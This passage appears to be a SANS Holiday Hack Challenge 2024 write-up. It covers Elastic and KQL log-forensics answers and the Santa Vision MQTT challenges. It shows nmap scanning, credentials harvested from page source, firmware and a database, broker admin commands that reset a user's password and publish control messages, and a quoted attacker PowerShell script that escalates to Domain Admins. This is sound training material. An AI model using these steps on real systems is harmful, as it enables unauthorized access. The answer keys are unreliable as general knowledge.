response = session.post("https://hhc24-elfstack.holidayhackchallenge.com/set_mode", json={"mode":mode})
total_questions = json.loads(response.text)['total_questions']

questionId = 1
for answer in known_answers:
answerQuestion (session, questionId, answer)
questionId += 1
correct_answer = False
i = 0
while questionId < total_questions and i < len(test_dict) and not correct_answer:
correct_answer = answerQuestion (session, questionId, test_dict[i])
i += 1

As questions need to be addressed sequentially, the file known_answers.txt contains the already known answers and dict.txt contains the answers to attempt.

ANSWER: The script ran returning the timestamp 2024-09-16T11:10:12-04:00, being the answer. Checking this timestamp it shows a failed LDAP bind attempt toward dc01.northpole.local.

Question 15: The attacker attempted to perform an ADCS ESC1 attack, but certificate services denied their certificate request. Submit the name of the software responsible for preventing this initial attack.

QUERY:

1
2
3
FROM *
| WHERE @timestamp >= "2024-09-16T11:10:12-04:00" AND event.Category LIKE "*Certificate Request Denied*"
| KEEP event.Category, event.Description, event.ReasonForRejection

RESULTS:

event.Category event.Description event.ReasonForRejection
Certification Services - Certificate Request Denied A certificate request was made for a certificate template, but the request was denied because it did not meet the criteria. KringleGuard EDR flagged the certificate request.

ANSWER: Investigating failure events related to a potential ADCS ESC1, we can see that the software preventing the attack was the EDR KringleGuard

Question 16: We think the attacker successfully performed an ADCS ESC1 attack. Can you find the name of the user they successfully requested a certificate on behalf of?

QUERY:

1
2
3
FROM *
| WHERE @timestamp >= "2024-09-16T11:10:12-04:00" AND event.Category LIKE "*Certification Services*" AND event.Keywords == "Audit Success" AND event.ModifierInformation_UserName IS NOT NULL
| KEEP event.Description, event.ModifierInformation_UserName

RESULTS:

event.Description event.ModifierInformation_UserName
A security descriptor was modified on a certificate template. nutcrakr

ANSWER: Investigating success events related to a potential ADCS ESC1, we can see the user nutcrakr, being the answer to the question.

Question 17: One of our file shares was accessed by the attacker using the elevated user account (from the ADCS attack). Submit the folder name of the share they accessed.

QUERY:

1
2
3
FROM *
| WHERE @timestamp >= "2024-09-16T11:10:12-04:00" AND event.Category LIKE "File Share"
| STATS COUNT() BY event.ShareInformation_ShareName

RESULTS:

COUNT() event.ShareInformation_ShareName
8 \\*\ADMIN$
30 \\*\IPC$
17 \\*\SYSVOL
2 \\*\WishLists

ANSWER: Investigating file share events we can see a non-standard one named WishLists.

Question 18: The naughty attacker continued to use their privileged account to execute a PowerShell script to gain domain administrative privileges. What is the password for the account the attacker used in their attack payload?QUERY:

Probably due to some log parsing/upload issue, I couldn’t do this using ELK, so I used grep:

1
grep "ScriptBlockText" log_chunk_complete.log | grep nutcrakr 

RESULTS:

1
<134>1 2024-09-16T11:33:12-04:00 SleighRider.northpole.local WindowsEvent - - - {"MessageNumber": 1, "MessageTotal": 1, "ScriptBlockText": "Add-Type -AssemblyName System.DirectoryServices\n$ldapConnString = \"LDAP://CN=Domain Admins,CN=Users,DC=northpole,DC=local\"\n$username = \"nutcrakr\"\n$pswd = 'fR0s3nF1@k3_s'\n$nullGUID = [guid]'00000000-0000-0000-0000-000000000000'\n$propGUID = [guid]'00000000-0000-0000-0000-000000000000'\n$IdentityReference = (New-Object System.Security.Principal.NTAccount(\"northpole.local\\$username\")).Translate([System.Security.Principal.SecurityIdentifier])\n$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None\n$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] \"GenericAll\"), ([System.Security.AccessControl.AccessControlType] \"Allow\"), $propGUID, $inheritanceType, $nullGUID\n$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $pswd\n$secOptions = $domainDirEntry.get_Options()\n$secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl\n$domainDirEntry.RefreshCache()\n$domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)\n$domainDirEntry.CommitChanges()\n$domainDirEntry.dispose()\n$ldapConnString = \"LDAP://CN=Domain Admins,CN=Users,DC=northpole,DC=local\"\n$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $pswd\n$user = New-Object System.Security.Principal.NTAccount(\"northpole.local\\$username\")\n$sid=$user.Translate([System.Security.Principal.SecurityIdentifier])\n$b=New-Object byte[] $sid.BinaryLength\n$sid.GetBinaryForm($b,0)\n$hexSID=[BitConverter]::ToString($b).Replace('-','')\n$domainDirEntry.Add(\"LDAP://<SID=$hexSID>\")\n$domainDirEntry.CommitChanges()\n$domainDirEntry.dispose()", "ScriptBlockId": "{01bbe2da-58c3-4490-aa52-682dbae233a3}", "Path": "", "Provider_Name": "Microsoft-Windows-PowerShell", "Provider_Guid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "EventID": 4104, "Version": 1, "Level": 5, "Task": 2, "Opcode": 15, "Keywords": "0x0", "TimeCreated_SystemTime": "2024-09-16T11:33:12-04:00", "EventRecordID": 54059, "Correlation_ActivityID": "{17aa0df9-5d3d-46e9-bce0-55b7a5be4b43}", "ParentProcessID": 928, "ThreadID": 4896, "Channel": "Microsoft-Windows-PowerShell/Operational", "Computer": "SleighRider.northpole.local", "Security_UserID": "S-1-5-21-3699322559-1991583901-1175093138-1110"}

ANSWER: In the command Issued we can observe the password fR0s3nF1@k3_s

Question 19: The attacker then used remote desktop to remotely access one of our domain computers. What is the full ISO8601 compliant UTC EventTime when they established this connection?

QUERY:

1
2
3
FROM *
| WHERE event.EventID == 4624 AND event.LogonType == 10
| KEEP event.EventTime

RESULTS:

event.EventTime
2024-09-16T15:35:57.000Z

ANSWER: Investigating RDP logins we can find just one event with timestamp 2024-09-16T15:35:57.000Z

Question 20: The attacker is trying to create their own naughty and nice list! What is the full file path they created using their remote desktop connection?

QUERY:
I used grep as it’s easier for free text search:

1
grep -i fake log_chunk_complete.log

RESULTS:

1
<134>1 2024-09-16T11:36:28-04:00 dc01.northpole.local WindowsEvent - - - {"EventTime": "2024-09-16 11:36:28", "Hostname": "dc01.northpole.local", "Keywords": -9223372036854775808, "EventType": "INFO", "SeverityValue": 2, "Severity": "INFO", "EventID": 1, "SourceName": "Microsoft-Windows-Sysmon", "ProviderGuid": "{5770385F-C22A-43E0-BF4C-06F5698FFBD9}", "Version": 5, "Task": 1, "OpcodeValue": 0, "RecordNumber": 641, "ProcessID": 6468, "ThreadID": 4816, "Channel": "Microsoft-Windows-Sysmon/Operational", "Domain": "NT AUTHORITY", "AccountName": "SYSTEM", "UserID": "S-1-5-18", "AccountType": "User", "Category": "Process Create (rule: ProcessCreate)", "Opcode": "Info", "RuleName": "-", "UtcTime": "2024-09-16T11:36:28-04:00", "ProcessGuid": "{f151dc49-502c-660c-8702-000000000900}", "Image": "C:\\Windows\\System32\\notepad.exe", "FileVersion": "10.0.17763.1697 (WinBuild.160101.0800)", "Description": "Notepad", "Product": "Microsoft\u00ae Windows\u00ae Operating System", "Company": "Microsoft Corporation", "OriginalFileName": "NOTEPAD.EXE", "CommandLine": "\"C:\\Windows\\system32\\NOTEPAD.EXE\" C:\\WishLists\\santadms_only\\its_my_fakelst.txt", "CurrentDirectory": "C:\\WishLists\\santadms_only\\", "User": "NORTHPOLE\\nutcrakr", "LogonGuid": "{f151dc49-500d-660c-5e42-dd0000000000}", "LogonId": "0xdd425e", "TerminalSessionId": 2, "IntegrityLevel": "Medium", "Hashes": "MD5=5394096A1CEBF81AF24E993777CAABF4,SHA256=A28438E1388F272A52559536D99D65BA15B1A8288BE1200E249851FDF7EE6C7E,IMPHASH=C8922BE3DCDFEB5994C9EEE7745DC22E", "ParentProcessGuid": "{f151dc49-500f-660c-5902-000000000900}", "ParentProcessId": 1364, "ParentImage": "C:\\Windows\\explorer.exe", "ParentCommandLine": "C:\\Windows\\Explorer.EXE", "ParentUser": "NORTHPOLE\\nutcrakr", "EventReceivedTime": "2024-09-16T11:36:28-04:00", "SourceModuleName": "inSysmon", "SourceModuleType": "im_msvistalog", "ProcessId": 9152, "MoreDetails": "Process Create:"}

ANSWER: I don’t know why I thought the keyword “fake” was relevant but turns out it actually led to the file the attacker was trying to create: C:\WishLists\santadms_only\its_my_fakelst.txt.

Question 21: The Wombley faction has user accounts in our environment. How many unique Wombley faction users sent an email message within the domain?

By now I was quite tired of querying out stuff so I started reusing my bruteforce script from question 14 :)
For this question I just used all numbers from 0 to 100 as dict :)

ANSWER: 4

Question 22: The Alabaster faction also has some user accounts in our environment. How many emails were sent by the Alabaster users to the Wombley faction users?

Ehm…also this I didn’t see why not trying bruteforce it… Same logic of the previous question :)

ANSWER: 22

Question 23: Of all the reindeer, there are only nine. What’s the full domain for the one whose nose does glow and shine? To help you narrow your search, search the events in the ‘SnowGlowMailPxy’ event source.

QUERY:

1
2
3
FROM *
| WHERE event.EventID == 4624 AND event.LogonType == 10
| KEEP event.EventTime

RESULTS:

COUNT() domain
17 bells.ring
20 wreath.maker
720 northpole.local
24 twinkle.light
20 snowflakekingdom.chill
21 wicked.snow
21 nogfest.eggnog
18 reindeers.fly
19 rud01ph.glow
16 gingerlane.dancer
22 candycane.factory
13 icicle.light
19 blizzard.north
16 santa.hut
16 nutcracker.tale
16 snowflake.spark
16 snowdrift.globe
19 merry.elves
12 holly.jolly
18 northstar.nibbles
20 sleigh.ride
14 yule.log
16 mistlebranch.vixen
21 evergreen.tree
20 pine.tree
16 tinsel.town
15 gingerbread.house
21 ginger.snap
17 toytinkers.land
14 jolly.jingle
20 cheery.fireplace
15 starlight.tree
11 frosty.north
7 reindeer.corral
20 c0m3t.halleys
6 elf.toyshop
21 stocking.chimney
16 twilight.star
19 pr4nc3r.trot
9 tinsel.wrap
17 snowy.land

ANSWER: I could have taken a look at the list and notice the domain but I already had a bruteforce script and I didn’t had enough neurons alive to not use it :) The answer is rud01ph.glow

Question 24: With a fiery tail seen once in great years, what’s the domain for the reindeer who flies without fears?

ANSWER: Same approach of the previous answer led to the answer c0m3t.halleys

Thanks to @orangepeelbeef

ChatGPT’s 700 fricking fields:

Thanks to @ProfessorX

My work here is done 🙂

Thanks to @Shuckle Lord Mixone

Grepped the hell out of the logs and somehow I noticed it :)

Santa Vision D

Difficulty: ❄ ❄ ❄ ❄
There are too many admins. Demote Wombley and Alabaster with a single MQTT message to correct the northpolefeeds feed. What type of contraption do you see Santa on?

Hints

From: Ribb Bonbowford
(Gold hint) Think about the kind of ride Santa would take in a world filled with innovation. His vehicle of choice might surprise you—pay attention to the futuristic details.

From: Ribb Bonbowford
(Gold hint) Look beyond the surface. Headers and subtle changes might just open new doors. Pay close attention to everything as you log in.

Silver

Powering on the monitors

To be able to observe the results of this action the monitors need to be working.

MQTTconnect

Looking at the source of the file mqttJS.js, I noticed the function MQTTconnect:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function MQTTconnect() {
document.getElementById("messages").innerHTML = "";
var host = document.forms["connform"]["server"].value;
var port = parseInt(document.forms["connform"]["port"].value); //9001
userInit = document.forms["connform"]["username"].value;
user = userInit + playerAppend;

var pass = document.forms["connform"]["pwd"].value;
if (host == "" || port == "" || user == "" || pass == "") {
document.getElementById("messages").innerHTML = "Please provide missing values.";
textarea = document.getElementById("messages");
textarea.style.height = 'auto';
textarea.style.height = `${textarea.scrollHeight}px`;
return false;
} else {
clientConnect = "/mqtt?clientConnect=" + userInit;
const connectResponse = fetch(clientConnect);
var svclientId = userInit + "-ClientId" + playerAppend;
console.log("connecting to " + host + " " + port);
mqtt = new Paho.MQTT.Client(host, port, svclientId);
var options = {
invocationContext: { host: host, port: port, clientId: svclientId },
userName: user,
password: pass,
timeout: 10,
keepAliveInterval: 30,
onSuccess: onConnect,
onFailure: onFailure
};
mqtt.onConnectionLost = onConnectionLost;
mqtt.onMessageArrived = onMessageArrived;
mqtt.connect(options);
return false;
}
}

The comment suggests the port 9001, which was seen open in Santa Vision A.
Additionally, debugging this file shows that the string -viewer is appended to the username:

1
2
3
4
5
6
7
8
9
10
11
{
"invocationContext": {
"host": "34.133.187.95",
"port": 9001,
"clientId": "test-ClientId-viewer"
},
"userName": "test-viewer",
"password": "test",
"timeout": 10,
"keepAliveInterval": 30
}

elfmonitor

Having found the elfmonitor user in Santa Vision B, that looked like an interesting user to analyze further. So I went ahead and changed the password for elfmonitor-viewer:

1
(act3-SantaVision) thedead@maccos act3-SantaVision % mosquitto_ctrl -v -h 34.44.88.211 -p 1883 -u SantaBrokerAdmin -P 8r0k3R4d1mp455wD dynsec setClientPassword elfmonitor-viewer password

Then I used these credentials to power on the monitors on the webpage and connect to the northpolefeeds showing a number of elfy guerrilla pictures:

The “contraption”

Listening on the santafeed, I eventually noticed the singleAdminMode=false message:

1
2
(act3-SantaVision) thedead@maccos act3-SantaVision % mosquitto_sub -v -h 34.44.88.211 -p 1883 -u SantaBrokerAdmin -P 8r0k3R4d1mp455wD -t 'santafeed'
santafeed singleAdminMode=false

By sending the message singleAdminMode=true on santafeed, the images changes to Santa’s images:

Having no clue what name this thing has, I asked ChatGPT that told me it’s a pogo stick and it worked as the answer to the silver trophy.

Gold

To get the gold trophy I needed to login with the santaSiteAdmin user from Santa Vision A and then analyzing the headers I noticed the username and password for santashelper2024 were being passed in clear:

With these credentials I obtained the same guerrilla images from before. Instead, using the santashelper credentials and sending the singleAdminMode=true message on santafeed with mosquitto got Santa a new contraption:

1
(act3-SantaVision) thedead@maccos act3-SantaVision % mosquitto_pub -h 34.44.88.211 -p 1883 -u santashelper2024 -P playerSantaHelperPass4365783088 -t santafeed -m "singleAdminMode=true"


Also here, ChatGPT told me this is a hovercraft which is the answer to obtain the gold trophy.

Thanks to @Shuckle Lord Mixone

Because…changing a user’s password is not always the right thing to do :)

Santa Vision C

Difficulty: ❄ ❄ ❄ ❄
Using the information available to you in the SantaVision platform, subscribe to the frostbitfeed MQTT topic. Are there any other feeds available? What is the code name for the elves’ secret operation?

Hints

From: Ribb Bonbowford
(Gold hint) Sometimes the answers are in the quiet moments. Pay attention to every feed and signal—you may find what you’re looking for hidden deep in the streams.

Silver

Listening on the santafeed feed one message caught my attention:

1
2
(act3-SantaVision) thedead@maccos act3-SantaVision % mosquitto_sub -v -h 34.44.88.211 -p 1883 -u SantaBrokerAdmin -P 8r0k3R4d1mp455wD -t 'santafeed'
santafeed Sixteen elves launched operation: Idemcerybu

The answer to the silver trophy is name of the operation: Idemcerybu

Gold

By following the hint of being 16 elves launching the operation and therefore applying ROT16 to Idemcerybu, we can observe it becomes Snowmobile. Turns out snowmobile is the answer to the gold trophy.

Thanks to @Shuckle Lord Mixone

Because…my mind was so not connecting the dots :)

Santa Vision B

Difficulty: ❄ ❄ ❄ ❄ ❄
Once logged on, authenticate further without using Wombley’s or Alabaster’s accounts to see the northpolefeeds on the monitors. What username worked here?

Silver

Further analysis of the contents within /static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin, I found the file app/src/core/views.py which led to the user SantaBrokerAdmin:

1
2
3
4
5
6
7
8
9
# ...omissis...
mqttPublish.single("$CONTROL/dynamic-security/v1","{\"commands\":[{\"command\": \"deleteClient\",\"username\": \""+name+"\"}]}",hostname="localhost",port=1883,auth={'username':"SantaBrokerAdmin", 'password':"8r0k3R4d1mp455wD"})
# ...omissis...
mqttPublish.single("$CONTROL/dynamic-security/v1","{\"commands\":[{\"command\": \"removeRoleACL\",\"rolename\": \""+PlyrRole+"\",\"acltype\": \"subscribeLiteral\",\"topic\": \""+PlyrTopic+"\"}]}",hostname="localhost",port=1883,auth={'username':"SantaBrokerAdmin", 'password':"8r0k3R4d1mp455wD"})
# ...omissis...
mqttPublish.single("$CONTROL/dynamic-security/v1","{\"commands\":[{\"command\": \"deleteRole\",\"rolename\": \""+PlyrRole+"\"}]}",hostname="localhost",port=1883,auth={'username':"SantaBrokerAdmin", 'password':"8r0k3R4d1mp455wD"})
# ...omissis...
mqttPublish.multiple(CreatePlayerClients,hostname="localhost",port=1883,auth={'username':"SantaBrokerAdmin", 'password':"8r0k3R4d1mp455wD"})
# ...omissis...

I could then use this user to login and subscribe to additional feeds (e.g. #). The answer for this was the username SantaBrokerAdmin.

Gold

By listing all the clients I noticed santashelper2024 being the only one I still had no information about but having access to the feed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(act3-SantaVision) thedead@maccos act3-SantaVision % mosquitto_ctrl -v -h 34.44.88.211 -p 1883 -u SantaBrokerAdmin -P 8r0k3R4d1mp455wD dynsec listClients      
Warning: You are running mosquitto_ctrl without encryption.
This means all of the configuration changes you are making are visible on the network, including passwords.

AlabasterS
AlabasterS-viewer
SantaBrokerAdmin
WomblyC
WomblyC-viewer
elfanon
elfmonitor
elfmonitor-viewer
santaMonitor
santashelper2024
santashelper2024-viewer
1
2
3
4
5
6
7
8
9
10
11
(act3-SantaVision) thedead@maccos act3-SantaVision % mosquitto_ctrl -v -h 34.44.88.211 -p 1883 -u SantaBrokerAdmin -P 8r0k3R4d1mp455wD dynsec getClient santashelper2024
Warning: You are running mosquitto_ctrl without encryption.
This means all of the configuration changes you are making are visible on the network, including passwords.

Username: santashelper2024
Clientid:
Roles: FrostbitFeedsReadRole (priority: -1)
NorthPoleFeedsAdminRole-viewer (priority: -1)
NorthPoleFeedsSantaHelperRole-viewer (priority: -1)
SantaFeedsRole (priority: -1)
SiteStatusElfRole (priority: -1)

The answer for the gold trophy is santashelper2024.

Santa Vision A

Difficulty: ❄ ❄ ❄ ❄ ❄
What username logs you into the SantaVision portal?

Hints

Misplaced Credentials

From: Ribb Bonbowford
Objective: Santa Vision A
See if any credentials you find allow you to subscribe to any MQTT feeds.

Filesystem Analysis

From: Ribb Bonbowford
Objective: Santa Vision A
jefferson is great for analyzing JFFS2 file systems.

Database Pilfering

From: Ribb Bonbowford
Objective: Santa Vision A
Consider checking any database files for credentials…

Mosquito Mosquitto

From: Ribb Bonbowford
Mosquitto is a great client for interacting with MQTT, but their spelling may be suspect. Prefer a GUI? Try MQTTX

Silver

As a first step, I tried to discover the ports opened on the server with nmap:

1
2
3
4
5
6
7
8
9
10
11
12
thedead@maccos act3-SantaVision % nmap 34.44.88.211 -p-
Nmap scan report for 211.88.44.34.bc.googleusercontent.com (34.44.88.211)
Host is up (0.16s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
1883/tcp open mqtt
5355/tcp filtered llmnr
8000/tcp open http-alt
9001/tcp open tor-orport

Nmap done: 1 IP address (1 host up) scanned in 3165.46 seconds

Reaching the website on http://34.56.1.154:8000, I got presented with a login page:

This was easily bypassed by looking at the html source and noticing leftover credentials in the comment:

1
2
3
<div class="footer" id="footer">
<b>©2024 Santavision Elventech Co., Ltd. Snow Rights Reserved.<br>(<i>topic 'sitestatus'</i> available.)</b>
</div> <!-- mqtt: elfanon:elfanon -->

Login with user elfanon and password elfanon is successful, with elfanon being the answer to the silver trophy.

Gold

Following the message (topic 'sitestatus' available.) in the footer, I connected as elfanon using mosquitto to the sitestatus feed. Among the other messages, one was particularly interesting:

1
2
3
4
thedead@maccos act3-SantaVision % mosquitto_sub -v -h 34.44.88.211 -p 1883 -u elfanon -P elfanon -t 'sitestatus'
# ...omissis...
sitestatus File downloaded: /static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin
# ...omissis...

Once downloaded the file /static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin it can be extracted with jefferson and its contents explored:

1
2
3
4
5
6
7
8
9
10
thedead@maccos act3-SantaVision % wget http://34.44.88.211:8000/static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin
# ... omisssis ...
2024-12-23 12:27:10 (687 KB/s) - ‘applicationDefault.bin’ saved [7340032/7340032]
(act3-SantaVision) thedead@maccos act3-SantaVision % jefferson applicationDefault.bin
dumping fs to /Users/thedead/Desktop/repos/SANS_HolidayHack/2024/act3-SantaVision/jffs2-root (endianness: <)
# ... omisssis ...
writing S_ISREG app/src/accounts/views.py
# ... omisssis ...
writing S_ISREG app/src/core/views.py
# ... omisssis ...

Looking at the file app/src/accounts/views.py, I found the reference to a sqlite DB:

1
2
3
4
# ... omisssis ... 
@accounts_bp.route("/sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite", methods=["GET"])
def db():
return send_from_directory("static", "sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite", as_attachment=True)

Downloading this file and exploring it, I found the user santaSiteAdmin:

1
2
3
4
5
6
7
8
9
(act3-SantaVision) thedead@maccos act3-SantaVision % wget http://34.44.88.211:8000/static/sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite
# ... omisssis ...
2024-12-23 12:35:35 (80.2 KB/s) - ‘SantasTopSecretDB-2024-Z.sqlite’ saved [20480/20480]
(act3-SantaVision) thedead@maccos act3-SantaVision % sqlite3 SantasTopSecretDB-2024-Z.sqlite
# ... omisssis ...
sqlite> .tables
alembic_version users
sqlite> SELECT * FROM users;
1|santaSiteAdmin|S4n+4sr3411yC00Lp455wd|2024-01-23 06:05:29.466071|1

Leveraging on the santaSiteAdmin credentials I could login to the web page again, with santaSiteAdmin being the answer to the gold trophy.

Microsoft KC7

Difficulty: ❄ ❄ ❄ ❄ ❄
Answer two sections for silver, all four sections for gold.

KQL 101

Learn and practice basic KQL queries to analyze data logs for North Pole operations.

Section 1: KQL 101

Question 1

Type let’s do this to begin your KQL training.

ANSWER: let's do this

Question 2

Once you’ve examined all the tables, type when in doubt take 10 to proceed.

ANSWER: when in doubt take 10

Question 3

How many elves did you find?

QUERY:

1
2
Employees
| count

RESULTS:

Count
90

ANSWER: 90

Question 4

Can you find out the name of the Chief Toy Maker?

QUERY:

1
2
3
Employees
| where role == "Chief Toy Maker"
| project name

RESULTS:

name
Shinny Upatree

ANSWER: Shinny Upatree

Question 5

Type operator to continue.

ANSWER: operator

Question 6

Can you find out the name of the Chief Toy Maker?

QUERY:

1
2
3
4
Email
| join kind = inner Employees on $left.recipient == $right.email_addr
| where name == "Angel Candysalt"
| count

RESULTS:

Count
31

ANSWER: 31

Question 7

How many distinct recipients were seen in the email logs from twinkle_frostington@santaworkshopgeeseislands.org?

QUERY:

1
2
3
4
Email
| where sender has "twinkle_frostington@santaworkshopgeeseislands.org"
| distinct recipient
| count

RESULTS:

Count
32

ANSWER: 32

Question 8

How many distinct websites did Twinkle Frostington visit?

QUERY:

1
2
3
4
5
OutboundNetworkEvents
| join kind=inner Employees on $left.src_ip == $right.ip_addr
| where name == "Twinkle Frostington"
| distinct url
| count

RESULTS:

Count
4

ANSWER: 4

Question 9

How many distinct domains in the PassiveDns records contain the word green?

QUERY:

1
2
3
4
PassiveDns
| where domain contains "green"
| distinct domain
| count

RESULTS:

Count
10

ANSWER: 10

Question 10

How many distinct URLs did elves with the first name Twinkle visit?

QUERY:

1
2
3
4
5
OutboundNetworkEvents
| join kind=inner Employees on $left.src_ip == $right.ip_addr
| where name has "Twinkle"
| distinct url
| count

RESULTS:

Count
8

ANSWER: 8

Operation Surrender

Investigate a phishing attack targeting Wombley’s team, uncovering espionage activities.

Section 2: Operation Surrender: Alabaster’s Espionage

Question 1

Type surrender to continue.

ANSWER: surrender

Question 2

Who was the sender of the phishing email that set this plan into motion?

QUERY:

1
2
3
Email
| where subject contains "surrender"
| distinct sender

RESULTS:

sender
surrender@northpolemail.com

ANSWER: surrender@northpolemail.com

Question 3

How many elves from Team Wombley received the phishing email?

QUERY:

1
2
3
4
Email
| where subject contains "surrender"
| distinct recipient
| count

RESULTS:

count
22

ANSWER: 22

Question 4

What was the filename of the document that Team Alabaster distributed in their phishing email?

QUERY:

1
2
3
4
Email
| where subject contains "surrender"
| extend filename = tostring(split(link, "/")[-1])
| distinct filename

RESULTS:

filename
Team_Wombley_Surrender.doc

ANSWER: Team_Wombley_Surrender.doc

Question 5

Who was the first person from Team Wombley to click the URL in the phishing email?

QUERY:

1
2
3
4
5
6
Employees
| join kind=inner OutboundNetworkEvents on $left.ip_addr == $right.src_ip
| where url has "Team_Wombley_Surrender.doc"
| sort by timestamp asc
| limit 1
| project name

RESULTS:

name
Joyelle Tinseltoe

ANSWER: Joyelle Tinseltoe

Question 6

What was the filename that was created after the .doc was downloaded and executed?

QUERY:

1
2
3
4
5
6
7
Employees
| join kind=inner OutboundNetworkEvents on $left.ip_addr == $right.src_ip
| join kind=inner ProcessEvents on hostname and username
| where name has "Joyelle Tinseltoe" and url has "Team_Wombley_Surrender.doc" and timestamp1 > timestamp
| sort by timestamp1 asc
| limit 2
| project download_timestamp=timestamp, execution_timestamp=timestamp1, process_commandline, process_name

RESULTS:

download_timestamp execution_timestamp process_commandline process_name
2024-11-27T14:11:45Z 2024-11-27T14:12:44Z Explorer.exe "C:\Users\jotinseltoe\Downloads\Team_Wombley_Surrender.doc" Explorer.exe
2024-11-27T14:11:45Z 2024-11-27T14:12:45Z C:\Users\Public\AppData\Roaming\keylogger.exe keylogger.exe

ANSWER:
The above results shows just 59s since downloading the file, Joyelle opened it (😡 bad user!), and the first event after that has the command line C:\Users\Public\AppData\Roaming\keylogger.exe which looks like a dropped executable.
The answer is the filename keylogger.exe.

Question 7

To obtain your flag use the KQL below with your last answer!

QUERY:

1
print base64_encode_tostring("keylogger.exe");

RESULTS:

print_0
a2V5bG9nZ2VyLmV4ZQ==

ANSWER: a2V5bG9nZ2VyLmV4ZQ==

Operation Snowfall

Track and analyze the impacts of a ransomware attack initiated by Wombley’s faction.

Section 3: Operation Snowfall: Team Wombley’s Ransomware Raid

Question 1

Type snowfall to begin

ANSWER: snowfall

Question 2

What was the IP address associated with the password spray?

QUERY:

1
2
3
4
5
AuthenticationEvents
| where result == "Failed Login"
| summarize dcount(username) by src_ip
| sort by dcount_username desc
| limit 1

RESULTS:

src_ip dcount_username
59.171.58.12 44

ANSWER: 59.171.58.12

Question 3

How many unique accounts were impacted where there was a successful login from 59.171.58.12?

QUERY:

1
2
3
4
AuthenticationEvents
| where result != "Failed Login" and src_ip == "59.171.58.12"
| distinct username
| count

RESULTS:

count
23

ANSWER: 23

Question 4

What service was used to access these accounts/devices?

QUERY:

1
2
3
4
AuthenticationEvents
| where src_ip == "59.171.58.12" and result != "Failed Login"
| extend service = tostring(split(split(description, " ")[-1], ".")[0])
| distinct service

RESULTS:

service
RDP

ANSWER: RDP

Question 5

What file was exfiltrated from Alabaster’s laptop?

QUERY:

1
2
3
4
5
6
AuthenticationEvents
| join kind=inner Employees on hostname
| join kind=inner ProcessEvents on hostname
| where name == "Alabaster Snowball" and src_ip == "59.171.58.12" and result != "Failed Login" and timestamp1 > timestamp and process_commandline has "copy"
| sort by timestamp1 asc
| project timestamp1, process_commandline

RESULTS:

timestamp1 process_commandline
2024-12-15T14:52:13Z Copy-Item "C:\\Malware\\EncryptEverything.exe" -Destination "C:\\Windows\\Users\\alsnowball"
2024-12-15T14:52:32Z copy C:\Windows\Users\alsnowball\top secret\Snowball_Cannon_Plans.pdf C:\Users\alsnowball\Documents\Snowball_Cannon_Plans.pdf
2024-12-16T14:53:27Z copy C:\Windows\Users\alsnowball\top secret\Drone_Configurations.pdf C:\Users\alsnowball\Documents\Drone_Configurations.pdf
2024-12-16T15:51:52Z copy C:\Users\alsnowball\AppData\Local\Temp\Secret_Files.zip \\wocube\share\alsnowball\Secret_Files.zip

ANSWER:
From ProcessEvents we can observe some copy commands being executed but just copy C:\Users\alsnowball\AppData\Local\Temp\Secret_Files.zip \\wocube\share\alsnowball\Secret_Files.zip pointing to an external destination and copying out C:\Users\alsnowball\AppData\Local\Temp\Secret_Files.zip.
The answer is the filename Secret_Files.zip.

Question 6

What is the name of the malicious file that was run on Alabaster’s laptop?

QUERY:

1
2
3
4
5
AuthenticationEvents
| join kind=inner Employees on hostname
| join kind=inner ProcessEvents on hostname
| where name == "Alabaster Snowball" and src_ip == "59.171.58.12" and result != "Failed Login" and timestamp1 > timestamp
| distinct process_name

RESULTS:

process_name
cmd.exe
svchost.exe
msedgewebview2.exe
powershell.exe
EncryptEverything.exe
searchprotocolhost.exe
comppkgsrv.exe
Copy-Item

ANSWER:
Among the other commands executed on Alabaster’s machine after the successful login of the IP 59.171.58.12 the one that stands out the most is EncryptEverything.exe.
The answer is the name of such command EncryptEverything.exe.

Question 7

To obtain your flag use the KQL below with your last answer!

QUERY:

1
print base64_encode_tostring("EncryptEverything.exe");

RESULTS:

print_0
RW5jcnlwdEV2ZXJ5dGhpbmcuZXhl

ANSWER: RW5jcnlwdEV2ZXJ5dGhpbmcuZXhl

Echoes in the Frost

Use logs to trace an unknown phishing attack targeting Alabaster’s faction.

Section 4: Echoes in the Frost: Tracking the Unknown Threat

Question 1

Type stay frosty to begin

ANSWER: stay frosty

Question 2

What was the timestamp of first phishing email about the breached credentials received by Noel Boetie?

QUERY:

1
2
3
4
5
Email
| where subject has "credentials"
| sort by timestamp asc
| project timestamp
| limit 1

RESULTS:

timestamp
2024-12-12T14:48:55Z

ANSWER: 2024-12-12T14:48:55Z

Question 3

When did Noel Boetie click the link to the first file?

QUERY:

1
2
3
4
5
6
7
Email
| join kind=inner Employees on $left.recipient == $right.email_addr
| join kind=inner OutboundNetworkEvents on $left.ip_addr == $right.src_ip, $left.link == $right.url
| where subject has "credentials" and timestamp1 > timestamp
| project timestamp1
| sort by timestamp1 asc
| limit 1

RESULTS:

timestamp1
2024-12-12T15:13:55Z

ANSWER: 2024-12-12T15:13:55Z

Question 4

What was the IP for the domain where the file was hosted?

QUERY:

1
2
3
4
5
Email
| where subject has "credentials"
| extend domain = tostring(split(link,"/")[2])
| join kind=inner PassiveDns on domain
| distinct ip

RESULTS:

ip
182.56.23.122

ANSWER: 182.56.23.122

Question 5

Let’s take a closer look at the authentication events. I wonder if any connection events from 182.56.23.122. If so what hostname was accessed?

QUERY:

1
2
3
AuthenticationEvents
| where src_ip == "182.56.23.122"
| distinct hostname

